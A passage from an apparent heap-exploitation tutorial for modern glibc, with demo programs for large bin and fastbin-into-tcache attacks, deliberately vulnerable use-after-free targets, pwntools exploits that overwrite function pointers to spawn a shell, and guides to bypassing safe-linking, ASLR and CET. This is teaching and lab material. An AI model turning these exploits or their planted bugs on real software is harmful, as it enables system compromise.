printf("Target at %p: %lu\n\n", &target, target);
// Allocate two large chunks (different sizes, same large bin)
size_t *p1 = malloc(0x428); // Larger
malloc(0x18); // Guard
size_t *p2 = malloc(0x418); // Smaller (will be inserted)
malloc(0x18); // Guard
printf("p1 (larger): %p\n", p1-2);
printf("p2 (smaller): %p\n\n", p2-2);
// Free p1 -> unsorted bin
free(p1);
// Allocate larger to move p1 into large bin
malloc(0x438);
// Free p2 -> unsorted bin
free(p2);
printf("State: p1 in largebin, p2 in unsorted bin\n\n");
// VULNERABILITY: Corrupt p1->bk_nextsize
// Glibc doesn't check bk_nextsize if new chunk is smallest
p1[3] = (size_t)((&target)-4);
printf("Corrupted p1->bk_nextsize to target-0x20\n");
// Trigger: allocate larger than p2 to insert p2 into large bin
malloc(0x438);
// Upon insertion: victim->bk_nextsize->fd_nextsize = victim
// This writes &p2 to target!
printf("\nTarget now contains: %p (p2-0x10 = %p)\n",
(void*)target, p2-2);
assert((size_t)(p2-2) == target);
printf("SUCCESS: Large bin attack wrote heap pointer to target!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro large_bin_attack.c -o large_bin_attack
./large_bin_attack
Test Results:
Target at 0x7ffc62e176c0: 0
p1 (larger): 0x1153c290
p2 (smaller): 0x1153c6e0
State: p1 in largebin, p2 in unsorted bin
Corrupted p1->bk_nextsize to target-0x20
Target now contains: 0x1153c6e0 (p2-0x10 = 0x1153c6e0)
SUCCESS: Large bin attack wrote heap pointer to target!
Attack Success:
- Target at
0x7ffc62e176c0initially contains0 - Large chunks:
p1at0x1153c290,p2at0x1153c6e0 - After setup:
p1in largebin,p2in unsorted bin - Corrupted
p1->bk_nextsizeto point attarget-0x20 - Arbitrary write achieved: target now contains heap pointer
0x1153c6e0
Why This Works:
- Large Bin Insertion: When
p2inserted into large bin, glibc writes tobk_nextsize->fd_nextsize - Weak Validation: glibc doesn't validate
bk_nextsizeif new chunk is smallest - Arbitrary Write: Corrupted pointer causes write to any address
- Heap Pointer: Writes heap address (useful for bypassing ASLR)
Fastbin Reverse Into Tcache (glibc 2.41)
Similar to unsorted_bin_attack but works with small allocations. When tcache is empty and fastbin has entries, malloc refills tcache from fastbin in reverse order, writing heap pointers to stack.
// ~/exploit/fastbin_reverse_into_tcache.c
// Arbitrary heap pointer write via fastbin->tcache refill
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
// Allocate 14 chunks for later
char* ptrs[14];
for (size_t i = 0; i < 14; i++)
ptrs[i] = malloc(allocsize);
// Fill tcache (7 chunks)
for (size_t i = 0; i < 7; i++)
free(ptrs[i]);
// Next free goes to fastbin (tcache full)
char* victim = ptrs[7];
printf("Victim chunk: %p\n", victim);
free(victim);
// Free 6 more to fastbin
for (size_t i = 8; i < 14; i++)
free(ptrs[i]);
// Target on stack
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf("Stack target: %p (value: %p)\n", &stack_var[2], (void*)stack_var[2]);
// VULNERABILITY: Corrupt victim's fd pointer (safe-linking bypass required)
*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));
// Empty tcache
for (size_t i = 0; i < 7; i++)
ptrs[i] = malloc(allocsize);
printf("\nBefore trigger - stack contents:\n");
for (size_t i = 0; i < 6; i++)
printf("%p: %p\n", &stack_var[i], (void*)stack_var[i]);
// TRIGGER: malloc from fastbin causes reverse refill into tcache
// 7 fastbin chunks copied to tcache, stack addr ends up as tcache entry
malloc(allocsize);
printf("\nAfter trigger - heap pointer written to stack!\n");
for (size_t i = 0; i < 6; i++)
printf("%p: %p\n", &stack_var[i], (void*)stack_var[i]);
// Next malloc returns stack address!
char *q = malloc(allocsize);
printf("\nGot stack allocation: %p\n", q);
assert(q == (char *)&stack_var[2]);
printf("SUCCESS: Fastbin reverse into tcache!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro fastbin_reverse_into_tcache.c -o fastbin_reverse_into_tcache
./fastbin_reverse_into_tcache
Test Results:
Victim chunk: 0x29d2a4d0
Stack target: 0x7ffd808c11c0 (value: 0xcdcdcdcdcdcdcdcd)
Before trigger - stack contents:
0x7ffd808c11b0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11b8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d8: 0xcdcdcdcdcdcdcdcd
After trigger - heap pointer written to stack!
0x7ffd808c11b0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11b8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c0: 0x7d60aac11
0x7ffd808c11c8: 0x685b97d2a6aa5329
0x7ffd808c11d0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d8: 0xcdcdcdcdcdcdcdcd
Got stack allocation: 0x7ffd808c11c0
SUCCESS: Fastbin reverse into tcache!
Attack Success:
- Victim chunk at
0x29d2a4d0, stack target at0x7ffd808c11c0 - Before: stack filled with
0xcdcdcdcdcdcdcdcdpattern - After trigger: heap pointers written to stack at
0x7ffd808c11c0and0x7ffd808c11c8 - Arbitrary allocation achieved:
malloc(allocsize)returned stack address!
Why This Works:
- Fastbin→Tcache Refill: When tcache empty, malloc refills from fastbin in reverse
- Reverse Order: Fastbin entries processed backwards, writing to stack
- Heap Pointer Write: Victim chunk address written to stack during refill
- Arbitrary Allocation: Stack address now in tcache, next malloc returns it
House of Water (glibc 2.32+)
Leakless heap exploitation technique by @udp_ctf.
[!IMPORTANT] Key insight: The
tcache_perthread_structmetadata on the heap is NOT protected by safe-linking! This allows manipulation without needing a heap leak first.
House of Water - Leakless tcache metadata control:
1. Create fake 0x10001 header via tcache counts manipulation
2. Satisfy chunk metadata at fake_chunk + 0x10000
3. Link fake small bin entries
4. Trigger allocation → get tcache metadata chunk + free libc pointer
5. Use the libc pointer leak to complete exploitation
Key Features:
- Leakless (forces program to provide leak during exploitation)
- Requires 4-bit bruteforce × 2 = 1/256 success rate per attempt
- Targets tcache_perthread_struct which lacks safe-linking protection
Requirements:
- Double-free, UAF, or heap overflow
- Precise heap layout control
- Ability to choose where to write within a chunk
Why tcache metadata is vulnerable:
// tcache_perthread_struct is at heap start (after initial malloc)
struct tcache_perthread_struct {
uint16_t counts[TCACHE_MAX_BINS]; // NOT protected by safe-linking!
tcache_entry *entries[TCACHE_MAX_BINS]; // These ARE protected
};
// Corrupting counts can create fake chunk headers!
House of Tangerine (glibc 2.32+)
Modern House of Orange that doesn't need free()!
House of Tangerine - No free() needed:
1. Corrupt top chunk size to page-aligned value
2. Trigger sysmalloc via large allocation
3. Old top chunk freed via _int_free → goes to tcache
4. Poison tcache with safe-linking bypass → arbitrary allocation
Use when:
- No free() primitive available
- Have heap overflow to corrupt top chunk
- Need heap and address leaks for safe-linking bypass
Safe-Linking Double-Protect Bypass (Blind - Hard)
Bypass safe-linking without a heap leak (4-bit bruteforce):
/* Key insight: (ptr ^ key) ^ key = ptr
* By linking a pointer twice, safe-linking cancels itself out!
* Technique by @udp_ctf - requires tcache metadata control (House of Water)
*
* Steps:
* 1. Get control of tcache metadata (via House of Water or overflow)
* 2. Link target address twice in tcache chain
* 3. Second link cancels XOR of first link
* 4. Only need to bruteforce 4 bits of ASLR
*/
House of XXX Techniques (Overview)
| Technique | Target | glibc Version | Notes |
|---|---|---|---|
| Tcache House of Spirit | Fake chunk in tcache | 2.27-2.41 | No next chunk validation! |
| Tcache Metadata Poison | Direct tcache metadata | 2.27-2.41 | Metadata NOT safe-link protected! |
| House of Spirit (Fastbin) | Fake chunk in fastbin | 2.23-2.41 | Need heap leak for 2.32+ |
| House of Lore | Small bin corruption | 2.23-2.41 | Still works |
| House of Botcake | Tcache + unsorted bin | 2.29-2.41 | Most practical double-free |
| House of Tangerine | sysmalloc _int_free | 2.27-2.41 | No free() needed! |
| House of Einherjar | Backward consolidation | 2.23-2.41 | Needs null byte write |
| House of Water | UAF → tcache metadata ctrl | 2.32-2.41 | Leakless! 1/256 bruteforce |
| House of Gods | Arena hijacking | 2.23-2.26 | Pre-tcache arena corruption |
| House of Mind (Fastbin) | Arena corruption | 2.23-2.41 | Complex arena manipulation |
| House of Force | Top chunk size overwrite | 2.23-2.28 | Patched in 2.29 |
| House of Orange | Unsorted bin + FSOP | 2.23-2.26 | Patched in 2.27 |
glibc Version Eras:
| Era | glibc Versions | Key Features |
|---|---|---|
| Pre-Tcache | 2.23-2.25 | Classic heap, hooks available, no tcache |
| Tcache Era | 2.26-2.31 | Tcache introduced, hooks still work |
| Safe-Linking Era | 2.32-2.33 | Pointer XOR mangling, alignment checks |
| Post-Hooks Era | 2.34+ | __malloc_hook/__free_hook REMOVED |
| Modern Era | 2.38+ | FSOP hardened, enhanced checks |
Learning Path (Recommended Order):
1. Start Easy:
└── Tcache House of Spirit → Tcache Metadata Poisoning
2. Progress to Medium:
└── House of Botcake → House of Tangerine
3. Attempt Hard (after mastering Medium):
└── House of Einherjar → House of Water (leakless!)
Modern Techniques (glibc 2.32+):
House of Botcake - Double-free bypass using tcache + unsorted bin:
1. Fill tcache (7 chunks)
2. Free chunk A into unsorted bin
3. Free chunk B into unsorted bin (consolidates with A)
4. Empty tcache
5. Free chunk B again (goes to tcache, but overlaps with unsorted chunk!)
6. Allocate from unsorted → gives overlapping chunk
7. Overwrite tcache next pointer → arbitrary allocation
House of Water - UAF to tcache metadata control:
1. Create fake 0x10001 header via tcache counts
2. Satisfy chunk metadata at fake_chunk + 0x10000
3. Link fake small bin entries
4. Trigger allocation → get tcache metadata chunk + free libc pointer
House of Tangerine - No free() needed:
1. Corrupt top chunk size to page-aligned value
2. Trigger sysmalloc via large allocation
3. Old top chunk freed via _int_free → goes to tcache
4. Poison tcache with safe-linking bypass → arbitrary allocation
When to Use Which:
Decision tree for modern heap technique selection:
Do you have a heap leak? (Required for glibc 2.32+)
├── No: Need leak first (info disclosure bug)
└── Yes: Continue...
Do you have a heap overflow?
├── Yes: House of Einherjar, tcache poisoning, House of Tangerine
└── No: Do you have UAF?
├── Yes: House of Botcake (double-free), House of Water (metadata)
└── No: Do you have arbitrary free?
├── Yes: House of Spirit (tcache)
└── No: Do you have OOB read/write only?
├── Yes: House of Tangerine (no free needed!)
└── No: Need to find more bugs
Modern Heap Protections (glibc 2.41)
| Protection | glibc Version | Mitigation | Bypass |
|---|---|---|---|
| Tcache double-free key | 2.29+ | Key in freed chunk | House of Botcake, leak key |
| Safe-linking | 2.32+ | XOR pointer mangling | Heap leak, or double-protect |
| Pointer alignment check | 2.32+ | 16-byte alignment required | Craft aligned fake chunk |
| Fastbin fd validation | 2.32+ | Check fd points to valid | Need heap leak |
| Top chunk size check | 2.29+ | Validate top chunk size | House of Tangerine |
| Unsorted bin checks | 2.29+ | bk->fd == victim check | House of Botcake |
| fd pointer validation | 2.32+ | Check fd in expected range | Target must be in heap range |
Recent Vulnerability: Integer overflow in memalign family (glibc 2.30-2.42):
- Affects
memalign,posix_memalign,aligned_alloc - Attacker-controlled size + alignment → heap corruption
- Patched in glibc 2.39-286, 2.40-216, 2.41-121, 2.42-49
Checking Protections:
# Check glibc version
ldd --version
# Check specific binary's libc
ldd ./target | grep libc
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# Check exact version for patch level
apt-cache policy libc6 2>/dev/null || rpm -q glibc
From Arbitrary Write to Code Execution
Once you have an arbitrary write/allocation primitive from heap exploitation, here's how to achieve code execution on modern systems:
Target Selection (Modern glibc 2.34+):
| Target | RELRO Required | CET Impact | Notes |
|---|---|---|---|
GOT entry (e.g., exit) | Partial | Bypasses! | Best target if available |
| Function pointer in struct | Any | Bypasses! | Common in heap exploits |
__free_hook | Any | N/A | REMOVED in glibc 2.34+ |
__malloc_hook | Any | N/A | REMOVED in glibc 2.34+ |
_IO_list_all (FSOP) | Any | Complex | Hardened in glibc 2.38+ |
| Return address on stack | Any | Blocked | CET shadow stack prevents |
Best Targets on Modern Systems:
-
GOT Overwrite (Partial RELRO only):
# Overwrite exit@GOT with one_gadget target = elf.got['exit'] one_gadget = libc.address + 0xef52b # Set RBP? Not needed for GOT overwrites! # The call goes through PLT which is a legitimate indirect call arbitrary_write(target, one_gadget) -
Function Pointer in Heap Object:
# UAF to overwrite callback pointer with win function # Works even with CET - it's a direct call, not ROP arbitrary_write(obj_addr + 32, elf.symbols['admin_function']) -
Stack Pivot + ROP (if GOT/funptr unavailable):
# Write to stack via heap technique, then ROP # Need RBP fix for one_gadget! payload = p64(pop_rbp) + p64(writable + 0x80) + p64(one_gadget)
Why CET Doesn't Block Heap Exploits:
CET (Control-flow Enforcement Technology) blocks:
- ROP chains via corrupted return addresses
- ret2libc via stack buffer overflow
CET does NOT block:
+ GOT overwrites (PLT is legitimate indirect call target)
+ Function pointer overwrites (direct call through pointer)
+ FSOP / file structure attacks
+ one_gadget (internal libc code paths satisfy CET)
This is why heap exploitation remains powerful on modern systems!
Complete Heap-to-Shell Example (Modern glibc):
This complete example demonstrates UAF exploitation with function pointer overwrite - the most reliable technique on modern systems with CET.
Target Program (heap_shell_target.c):
// ~/exploit/heap_shell_target.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char data[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *note = NULL;
void normal_func(void) { printf("Normal function called\n"); }
void win_func(void) { printf("WIN! Spawning shell...\n"); system("/bin/sh"); }
void menu(void) {
printf("\n1. alloc 2. free 3. write 4. call 5. exit\n> ");
fflush(stdout);
}
int main(void) {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
menu();
if (read(0, cmd, sizeof(cmd)) <= 0) break;
if (cmd[0] == '1') { // alloc
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("Object @ %p\n", obj);
}
else if (cmd[0] == '2') { // free
if (obj) {
free(obj);
// BUG: dangling pointer!
printf("Freed (but pointer kept)\n");
}
}
else if (cmd[0] == '3') { // write - reclaims freed chunk
note = malloc(sizeof(Object));
printf("data: ");
fflush(stdout);
read(0, note, sizeof(Object));
printf("Note @ %p\n", note);
}
else if (cmd[0] == '4') { // call - UAF trigger
if (obj) {
printf("Calling callback...\n");
obj->callback();
}
}
else if (cmd[0] == '5') break;
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=heap_shell_target.c BINARY=heap_shell_target
#gcc -g -O0 -no-pie -fno-stack-protector -fcf-protection=none \
# heap_shell_target.c -o heap_shell_target
Exploit (exploit_heap_shell.py):
#!/usr/bin/env python3
# ~/exploit/exploit_heap_shell.py
"""
Complete UAF-to-shell exploit for modern glibc
Technique: Function pointer overwrite (bypasses CET!)
"""
from pwn import *
binary = './heap_shell_target'
elf = ELF(binary)
context.binary = elf
def alloc(p):
p.sendlineafter(b'> ', b'1')
def free_obj(p):
p.sendlineafter(b'> ', b'2')
def write_note(p, data):
p.sendlineafter(b'> ', b'3')
p.sendafter(b'data: ', data)
def call_obj(p):
p.sendlineafter(b'> ', b'4')
def exploit():
p = process(binary)
# Get win function address
win = elf.symbols['win_func']
log.info(f"win_func @ {hex(win)}")
# Step 1: Allocate object with function pointer
alloc(p)
# Step 2: Free it (creates dangling pointer)
free_obj(p)
# Step 3: Reclaim with controlled data
# Object layout: char data[32] + void (*callback)(void)
payload = b'A' * 32 # Fill data field
payload += p64(win) # Overwrite callback with win_func
write_note(p, payload)
# Step 4: Use dangling pointer - calls our win_func!
call_obj(p)
# Got shell!
p.interactive()
if __name__ == '__main__':
exploit()
Run:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
python3 exploit_heap_shell.py
Test Results:
[+] Starting local process './heap_shell_target': pid 2433
[*] win_func @ 0x4011ac
[*] Switching to interactive mode
Calling callback...
WIN! Spawning shell...
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './heap_shell_target' (pid 2433)
Exploit Success:
win_funclocated at static address0x4011ac(No PIE)- UAF exploit successfully overwrote function pointer
- Shell spawned:
WIN! Spawning shell...message confirms success - Interactive shell obtained with user privileges
- CET Bypassed: Function pointer call works even with modern CET protection
Why This Works on Modern Systems:
This exploit bypasses modern mitigations:
- NX/DEP: No shellcode needed, we call existing function
- ASLR: No-PIE binary, addresses are fixed
- Stack Canary: No stack overflow, heap corruption only
- CET/IBT: Function pointer call is LEGITIMATE indirect call!
(CET only blocks ROP, not direct function pointer calls)
- Safe-linking: N/A (tcache not used, just UAF spray pattern)
Key insight: CET validates that indirect calls go to valid function
entries (ENDBR64 instructions), but win_func IS a valid function!
Generic Heap-to-Shell Pattern (when you have arbitrary write):
# Once you have arbitrary write primitive from heap corruption:
# Option A: GOT overwrite (Partial RELRO only)
if elf.relro != 'Full':
arbitrary_write(elf.got['exit'], win_addr) # or one_gadget
# Trigger by calling exit()
# Option B: Function pointer overwrite (always works, even with CET!)
else:
# Overwrite callback in struct with win/one_gadget
arbitrary_write(obj_addr + func_ptr_offset, win_addr)
# Trigger by using the object
# Option C: __libc_start_main return address (complex, needs stack addr)
# Option D: TLS/DTV attack (glibc internals, advanced)
Introduction to FSOP (File Stream Oriented Programming)
With the removal of __malloc_hook and __free_hook in glibc 2.34+, FSOP is the primary method for turning heap primitives into code execution when GOT is not writable (Full RELRO).
The Concept:
glibc uses _IO_FILE structures (like stdin, stdout, stderr) to manage streams. These structures contain a vtable pointer (_IO_file_jumps) that points to a table of function pointers for I/O operations.
_IO_FILE Structure (simplified):
┌────────────────────────────┐
│ _flags │ ← Controls behavior
├────────────────────────────┤
│ _IO_read_ptr │
│ _IO_read_end │
│ _IO_read_base │ ← Buffer pointers
│ _IO_write_base │
│ _IO_write_ptr │
│ _IO_write_end │
├────────────────────────────┤
│ ... │
├────────────────────────────┤
│ _chain │ ← Links to next FILE (linked list)
├────────────────────────────┤
│ _fileno │ ← File descriptor
├────────────────────────────┤
│ ... │
├────────────────────────────┤
│ vtable (8 bytes) │ ← Points to _IO_file_jumps
└────────────────────────────┘
_IO_file_jumps (vtable):
┌────────────────────────────┐
│ __dummy / __dummy2 │
├────────────────────────────┤
│ _IO_finish │ ← Called on fclose/exit
├────────────────────────────┤
│ _IO_overflow │ ← Called when buffer full
├────────────────────────────┤
│ _IO_underflow │
├────────────────────────────┤
│ ... │
└────────────────────────────┘
Classic FSOP Attack (glibc < 2.24):
- Corrupt a FILE struct: Overwrite
stdout,stderr, or forge a fake_IO_FILE - Set fake vtable: Point vtable to attacker-controlled memory
- Trigger: Call
exit()(flushes all streams) or any stdio function
// Pre-2.24: Direct vtable pointer overwrite
fake_file._IO_jump_t = &fake_vtable;
fake_vtable.__overflow = system;
// Set up _IO_write_ptr > _IO_write_base to trigger overflow
// Point _IO_write_base to "/bin/sh"
Modern FSOP (glibc 2.24+):
glibc 2.24 added _IO_vtable_check() which validates that vtable pointers fall within the legitimate vtable section. Direct fake vtable attacks no longer work.
Bypass via _IO_str_jumps / _IO_wfile_jumps:
The trick is to use legitimate vtables but manipulate FILE struct fields to control what gets called:
Attack Strategy (glibc 2.24-2.37):
1. Set vtable to _IO_str_jumps (legitimate, passes check)
2. Manipulate _IO_buf_base, _IO_buf_end, etc.
3. When _IO_str_overflow is called, it does:
new_buf = malloc(new_size);
memcpy(new_buf, old_buf, old_size);
(*(fp->_IO_str_jumps->_free_buffer))(old_buf) // Call with controlled arg!
4. Forge FILE so _free_buffer call becomes system("/bin/sh")
Why Classic FSOP Fails on Modern glibc (fsop_demo.c):
This demonstrates that direct vtable overwrite FAILS on glibc 2.24+ due to _IO_vtable_check():
// ~/exploit/fsop_demo.c
// Demonstrates that classic FSOP FAILS on modern glibc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win(void) {
printf("WIN! FSOP triggered!\n");
system("/bin/sh");
}
int main() {
printf("=== Classic FSOP Demo (will FAIL on glibc 2.24+) ===\n\n");
printf("stdout @ %p\n", stdout);
printf("win @ %p\n", win);
FILE *fp = stdout;
printf("Original vtable @ %p\n", *(void**)((char*)fp + 0xd8));
// Create fake vtable
void *fake_vtable[30];
memset(fake_vtable, 0, sizeof(fake_vtable));
fake_vtable[3] = (void*)win; // __overflow -> win
// Try to overwrite vtable pointer
printf("\nOverwriting vtable with fake @ %p\n", fake_vtable);
*(void**)((char*)fp + 0xd8) = fake_vtable;
printf("Triggering fflush... (this will crash!)\n");
fflush(stdout); // CRASHES: glibc detects invalid vtable
printf("If you see this, FSOP worked (glibc < 2.24)\n");
return 0;
}
Compile and Run:
cd ~/exploit
gcc -g -O0 -no-pie -fcf-protection=none fsop_demo.c -o fsop_demo
./fsop_demo
Test Results:
=== Classic FSOP Demo (will FAIL on glibc 2.24+) ===
stdout @ 0x776c6a6045c0
win @ 0x401176
Original vtable @ 0x776c6a602030
Overwriting vtable with fake @ 0x7ffe77115fd0
Fatal error: glibc detected an invalid stdio handle
Aborted
Classic FSOP Failure:
stdoutat0x776c6a6045c0, original vtable at0x776c6a602030(legitimate)- Fake vtable on stack at
0x7ffe77115fd0successfully written - glibc aborts:
_IO_vtable_check()detects invalid vtable outside legitimate range - Proof: Modern glibc (2.24+) blocks classic FSOP with fake vtables
Why It Fails:
glibc 2.24+ added _IO_vtable_check():
- Validates vtable pointer falls within legitimate __libc_IO_vtables section
- Fake vtables on stack/heap are OUTSIDE this range → ABORT
This is why we need:
1. Function pointer overwrite (bypasses FSOP entirely)
2. House of Apple/Water (uses legitimate vtables like _IO_wfile_jumps)
3. Techniques that don't rely on fake vtables
Exploit for fsop_target (Function Pointer Overwrite):
Since CET blocks GOT overwrite to system(), we use function pointer overwrite which calls legitimate functions.
Updated target with function pointer (fsop_target.c):
// ~/exploit/fsop_target.c
// Vulnerable program with UAF for function pointer overwrite
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char data[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *note = NULL;
void normal_func(void) { printf("Normal callback\n"); }
void win_func(void) { printf("WIN!\n"); system("/bin/sh"); }
void menu() {
printf("\n1.alloc 2.free 3.write 4.call 5.exit\n> ");
}
int main() {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("win_func @ %p\n", win_func);
while (1) {
menu();
read(0, cmd, sizeof(cmd));
switch(cmd[0]) {
case '1': // alloc
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("Object @ %p\n", obj);
break;
case '2': // free (UAF - keeps dangling pointer!)
if (obj) {
free(obj);
printf("Freed (dangling pointer kept!)\n");
}
break;
case '3': // write - reclaims freed chunk
note = malloc(sizeof(Object));
printf("data: ");
read(0, note, sizeof(Object));
printf("Note @ %p\n", note);
break;
case '4': // call - triggers UAF
if (obj) {
printf("Calling callback...\n");
obj->callback();
}
break;
case '5':
exit(0);
}
}
return 0;
}
Compile:
cd ~/exploit
gcc -g -O0 -no-pie -fno-stack-protector fsop_target.c -o fsop_target
Working Exploit (exploit_fsop.py):
#!/usr/bin/env python3
# ~/exploit/exploit_fsop.py
"""
UAF to function pointer overwrite - bypasses CET!
Target: fsop_target
"""
from pwn import *
context.arch = 'amd64'
binary = './fsop_target'
elf = ELF(binary)
def alloc(p):
p.sendlineafter(b'> ', b'1')
def free_obj(p):
p.sendlineafter(b'> ', b'2')
def write_note(p, data):
p.sendlineafter(b'> ', b'3')
p.sendafter(b'data: ', data)
def call_obj(p):
p.sendlineafter(b'> ', b'4')
def exploit():
p = process(binary)
# Get win function address
win = elf.symbols['win_func']
log.info(f"win_func @ {hex(win)}")
# Step 1: Allocate object with function pointer
alloc(p)
log.success("Allocated object")
# Step 2: Free it (creates dangling pointer)
free_obj(p)
log.success("Freed object (dangling pointer)")
# Step 3: Reclaim with controlled data
# Object layout: char data[32] + void (*callback)(void)
payload = b'A' * 32 # Fill data field
payload += p64(win) # Overwrite callback with win_func
write_note(p, payload)
log.success("Reclaimed chunk with payload")
# Step 4: Use dangling pointer - calls our win_func!
log.success("Triggering callback -> win_func -> shell!")
call_obj(p)
# Got shell!
p.interactive()
if __name__ == '__main__':
exploit()
Compile and Run:
gcc -g -O0 -no-pie -fno-stack-protector fsop_target.c -o fsop_target
python3 exploit_fsop.py
Test Results:
[*] '/home/dev/exploit/fsop_target'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process './fsop_target': pid 2477
[+] win_func @ 0x401230
[*] Allocated object
[*] Freed object (dangling pointer)
[*] Reclaimed chunk with payload
[+] Triggering callback -> win_func -> shell!
[*] Switching to interactive mode
Calling callback...
WIN!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fsop_target' (pid 2477)
Exploit Success - CET Bypassed!:
- Modern Protections Active: SHSTK and IBT enabled (CET protection)
- win_func at static address
0x401230(No PIE) - UAF Success: Function pointer overwritten with controlled address
- CET Bypassed: Function pointer call is legitimate indirect call, not blocked by IBT
- Shell Achieved:
WIN!message and interactive shell with user privileges
Why This Works While Classic FSOP Fails:
Function Pointer Overwrite vs Classic FSOP:
Function Pointer Overwrite (Working):
+ Direct call through object field
+ Legitimate indirect call - CET allows
+ No vtable validation needed
+ Uses existing program functions
+ Bypasses all modern mitigations
Classic FSOP (Failed):
- Fake vtable on stack/heap
- _IO_vtable_check() aborts on invalid vtable
- Requires legitimate vtable section
- Complex house of apple/water needed
- Outdated technique
Key Insight: On modern systems with CET, function pointer overwrite is superior to FSOP because it uses legitimate indirect calls that CET is designed to allow, while FSOP requires bypassing vtable validation.
Modern Exploitation Decision Tree (glibc 2.39+):
Do you have a heap primitive (UAF/overflow)?
├── Yes: Can you control a function pointer in a struct?
│ ├── Yes: Function pointer overwrite → WORKS! (bypasses CET)
│ └── No: Use House of Water/Tangerine for tcache control
│ → Allocate over struct with function pointer
│ → Overwrite with legitimate function
└── No: Need stronger primitive first
For FSOP specifically (Full RELRO targets):
├── glibc < 2.24: Direct vtable overwrite
├── glibc 2.24-2.37: _IO_str_jumps abuse
├── glibc 2.34-2.38: House of Apple/Emma (wide vtable chain)
└── glibc 2.39+ with CET: Function pointer overwrite preferred
(FSOP techniques may fail due to CET)
Technique Compatibility (Updated for CET):
| Technique | glibc Range | CET Status | Notes |
|---|---|---|---|
| Direct vtable overwrite | < 2.24 | N/A | No vtable check |
_IO_str_jumps abuse | 2.24-2.37 | N/A | Patched in 2.38 |
| House of Apple/Emma | 2.34-2.38 | Blocked | CET blocks gadget calls |
| Function pointer overwrite | All | WORKS | Calls real functions |
| House of Water | 2.32+ | WORKS | Gets tcache control |
| House of Tangerine | 2.27+ | WORKS | No free() needed |
Recommended Approach for Modern Systems:
| Scenario | Recommended Technique |
|---|---|
| CET enabled (2.39+) | Function pointer overwrite via UAF/heap corrupt |
| Full RELRO + CET | House of Water → func ptr overwrite |
| Partial RELRO no CET | GOT overwrite (simpler) |
| Need tcache control | House of Water or House of Tangerine |
Practical Exercise
Exercise: Use-After-Free Exploitation
Create the target (uaf_challenge.c):
// ~/exploit/uaf_challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char name[32];
void (*greet)(void);
} Person;
void normal_greet() { printf("Hello!\n"); }
void admin_greet() { printf("Admin!\n"); system("/bin/sh"); }
Person *current = NULL;
void create() {
current = malloc(sizeof(Person));
strcpy(current->name, "user");
current->greet = normal_greet;
printf("Created at %p\n", current);
}
void delete_person() {
free(current);
// BUG: current not set to NULL - dangling pointer!
printf("Deleted\n");
}
void greet() {
if (current) current->greet();
}
void edit(char *data) {
// Allocates same size as Person - reclaims freed chunk!
char *buf = malloc(sizeof(Person));
memcpy(buf, data, sizeof(Person));
printf("Edit buffer at %p\n", buf);
}
int main() {
char cmd[100], data[64];
setvbuf(stdout, NULL, _IONBF, 0);
printf("Commands: create, delete, greet, edit\n");
while (fgets(cmd, sizeof(cmd), stdin)) {
if (strncmp(cmd, "create", 6) == 0) create();
else if (strncmp(cmd, "delete", 6) == 0) delete_person();
else if (strncmp(cmd, "greet", 5) == 0) greet();
else if (strncmp(cmd, "edit ", 5) == 0) {
fgets(data, sizeof(data), stdin);
edit(data);
}
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=uaf_challenge.c BINARY=uaf_challenge
#gcc -g -O0 -no-pie -fno-stack-protector -fcf-protection=none uaf_challenge.c -o uaf_challenge
Find admin_greet address:
objdump -d uaf_challenge | grep admin_greet
- Write exploit:
based on what you've learned, write the proper exploit
Exercise: Tcache House of Spirit
-
Compile how2heap tcache_house_of_spirit.c:
cd ~/tuts/how2heap make v$(ldd --version | head -1 | awk '{print $NF}') ./glibc_2.39/tcache_house_of_spirit -
Trace in GDB to understand the simple requirements:
- Only need valid size field (no next chunk validation!)
- Region must be 16-byte aligned
- Size must be in tcache range (0x20-0x410)
-
Key observation: Unlike original House of Spirit, tcache doesn't check next chunk metadata!
Exercise: Tcache Poisoning
-
Compile the tcache_poisoning.c example:
gcc -no-pie -g -fcf-protection=none tcache_poison.c -o tcache_poison # Or use how2heap: ~/tuts/how2heap/glibc_2.39/tcache_poisoning -
Trace execution in GDB:
gdb ~/tuts/how2heap/glibc_2.39/tcache_poison break main run # After each malloc/free, run: heap bins -
Observe tcache state:
